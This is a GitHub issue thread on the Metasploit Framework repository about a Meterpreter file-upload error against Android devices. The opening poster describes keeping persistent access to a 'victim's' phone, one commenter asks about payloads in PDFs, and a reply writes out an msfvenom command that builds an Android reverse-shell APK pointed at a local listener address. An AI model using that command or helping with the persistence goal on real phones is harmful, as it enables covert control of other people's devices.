rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.1k stars 13.96k forks source link

Metasploit Upload Error : [-] 4 : Operation failed: 1 #14210

Closed kushagra13b closed 4 years ago

kushagra13b commented 4 years ago

So, I am able to access my victim's sdcard right now, but I want to create it persistent . So that when my victim's turns off his device I don't have to do all the hard work again to exploit the device. So I've created a bash file (syslogs.sh) and when I am trying to send it to my victim's device but an error pops up which looks like this -: [-] 4 : Operation failed: 1 YOU CAN REFER THIS IMAGE HERE .

I tried adding backslashes because I read that on stackoverflow that adding backslashes removes the error but nothin happens in my case. I AM USING MY PHONE FOR THE METASPLOIT I AM DOING IT THROUGH "TERMUX". The thing is that I am not even able to upload a simple txt file to my victim's phone.. I have checked that "Install from unknown sources" is on. I can still exploit the victim's device but Iwant it to become persistent. As you can see here, My file is perfectly placed in my sdcard so I don't think that there is a problem with my placement of "syslogs.sh" file. I would tremendously appreciate if someone helps or suggests me anything.!!

gokulaiyappan commented 4 years ago

you just move the file in to your device after upload the file

William12Filite commented 4 years ago

[-] 4: Operation failed: 1

Este error esta dando problemas, en metasploit 6.0.9 ya que no deja descargar archivos o ficheros en un meterpreter

kushagra13b commented 4 years ago

@William12Filite So, Is there any alternative of it?

CooperTUGA commented 4 years ago

Same for me, but it's not for everyone, some of them can actually run it, i tough it was because termux it's not official supported by metasploit, upload it's not the only command I receive this error, download and probaly some others I receive the same too.

Edit: it seems that its from a new update, maybe we can use an older one?

William12Filite commented 4 years ago

I think it may be that, that metasploit 6.0.9 is not compatible with termux, My question is, why is it updated then? I have metasploit installed in termux, from the '"" pkg install metasploit "" version 5 .. . of metasploit, it works well for me, but version 6.0.9 gives this fault in meterpreter, it can also be in the payload privileges, still not true

William12Filite commented 4 years ago

Sip

William12Filite commented 4 years ago

Esta bien,imbox

timwr commented 4 years ago

@kushagra13b the default APK generated from msfvenom (msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.13.37 LPORT=4444 -o out.apk) is already persistent, and if you restart the device the session should come back.

The issue your seeing with uploading could either be because your session can't write to /sdcard, or because msfconsole running within termux can't access the sdcard (did you run termux-setup-storage?).

label-actions[bot] commented 4 years ago

Termux is not officially supported. https://github.com/rapid7/metasploit-framework/issues/11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

bnlshtl13 commented 4 years ago

What is the command to open a listening session on a pdf file with the Metasploit tool? بتاريخ ٢٩‏/١٠‏/٢٠٢٠ ١٢:٠١ م، كتب "label-actions[bot]" < notifications@github.com>:

Termux is not officially supported. #11023 https://github.com/rapid7/metasploit-framework/issues/11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/14210#issuecomment-718503671, or unsubscribe https://github.com/notifications/unsubscribe-auth/APFI74P3FP3HZM6LVNAGLHTSNEVOZANCNFSM4SAUC4VA .

D3G3Nerator commented 3 years ago

i am having this issue guys

D3G3Nerator commented 3 years ago

anytime i try to upload the .sh file on my device, it throw that error to me. I am running metasploit 6 on kali linux provided by microsoft.

eversson007 commented 3 years ago

Esta bien,imbox

oye amigo que tal, a mi me pasa algo similiar no me deja subir ni descargar archivo y estoy en kali linux sabes como lo puedo arreglar, me podrias ayudar por favor?

William12Filite commented 3 years ago

Te podre, ayudar un poco, xateame al imbox

El mié., 18 nov. 2020 9:58 p. m., eversson007 notifications@github.com escribió:

Esta bien,imbox

oye amigo que tal, a mi me pasa algo similiar no me deja subir ni descargar archivo y estoy en kali linux sabes como lo puedo arreglar, me podrias ayudar por favor?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/14210#issuecomment-730094329, or unsubscribe https://github.com/notifications/unsubscribe-auth/AQFURZLIL555OVX366CV73DSQSCUDANCNFSM4SAUC4VA .

lbyffy4 commented 3 years ago

I also have the same problem in Kali I used 2 different operating systems to see if that was the problem but no one knows how to solve it

William12Filite commented 3 years ago

El problema es porque la actualiacion de metasploit al 6.0.1, crea un payload no al 100% compatible con Android 5.1.1 o menor, por lo que ese problema tiene algp que ver, Por lo tanto si es compatible con Android 8 hacia arriba.

El lun., 23 nov. 2020 8:00 a. m., lbyffy4 notifications@github.com escribió:

I also have the same problem in Kali I used 2 different operating systems to see if that was the problem but no one knows how to solve it

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/14210#issuecomment-732146623, or unsubscribe https://github.com/notifications/unsubscribe-auth/AQFURZJVHTM72QVLZGD3TJDSRJMGVANCNFSM4SAUC4VA .

eversson007 commented 3 years ago

pero al dispositivo es decir el mio, tiene android 7 no he intentado con otros pero vere si puedo aunque no creo que sea eso, gracias

El lun, 23 de nov. de 2020 a la(s) 09:18, William12Filite ( notifications@github.com) escribió:

El problema es porque la actualiacion de metasploit al 6.0.1, crea un payload no al 100% compatible con Android 5.1.1 o menor, por lo que ese problema tiene algp que ver, Por lo tanto si es compatible con Android 8 hacia arriba.

El lun., 23 nov. 2020 8:00 a. m., lbyffy4 notifications@github.com escribió:

I also have the same problem in Kali I used 2 different operating systems to see if that was the problem but no one knows how to solve it

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub < https://github.com/rapid7/metasploit-framework/issues/14210#issuecomment-732146623 , or unsubscribe < https://github.com/notifications/unsubscribe-auth/AQFURZJVHTM72QVLZGD3TJDSRJMGVANCNFSM4SAUC4VA

.

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/14210#issuecomment-732190844, or unsubscribe https://github.com/notifications/unsubscribe-auth/AN4TZ4D6BUUGEXY7ZY32XB3SRJVMNANCNFSM4SAUC4VA .

Student-Jasons commented 3 years ago

I get the same error in the same environment!!!!!!!!!!!!

manjunath7472 commented 3 years ago

Hi guys this is manjunath.I have similar issue and i have done some testing.

Am working on Metasploit framework installed on 3 devices. 1.Windows 10. 2.Nethunter OS on android 3.Kali linux virtual machine (Bridge network mode)

And

I have one more Android device(remote) where msf payload is injected for testing purpose.Lets call it "device B"

All devices are on same LAN network with IPs 192.168.#.#.

Meterpreter session successfully opens on all 3 devices(nerhunter,windows,kali linux).

I can browse files and folders during sessions.

But while uploading and downloading files to remote android device(B) during session, only my nethunter device successfully does the job, but windows and kali linux cannot and throws error below [4]: operation failed: [1]

Why uploading and downloading is successful on nethunter on android.. and why it is failing on windows and kali linux virtual machine during meterpreter sessions.

Below is the framework.log file for reference.

I think its not issue with Android version of victim or payload,but the OS or network settings itself.

Kindly someone check the log above for reference.

senelithperera commented 3 years ago

@kushagra13b Were you able to find a solution to this issue ? I'm running kali linux on virtual box. I ran into the same issue.

kushagra13b commented 3 years ago

@SenelithPerera I've looked a lot in this issue but it really appears to me as a "Metasploit bug" now I guess if you try the same thing with earlier versions of "Metasploit" this error doesn't come up .

maaznaimat commented 3 years ago

@kushagra13b yeah i have also tried a lot to fix this in anyway but it is Metasploit Bug itself in the latest version v6. the only solution is to delete the current version and re-install the previous version(v5.)

alejandrogc259 commented 3 years ago

@kushagra13b How do i get an older version of Metasploit?

maaznaimat commented 3 years ago

@kushagra13b How do i get an older version of Metasploit?

if you have fully updated your system then unfortunately you might not be able to uninstall the current version(v6) because it has become the part of OS.There is no uninstall option in the latest versions.

Student-Jasons commented 3 years ago

Thank you. You should install v5 by initializing and installing it.

jorgegso commented 3 years ago

I had a similar problem and I solved it by renaming the file to a less obvious one.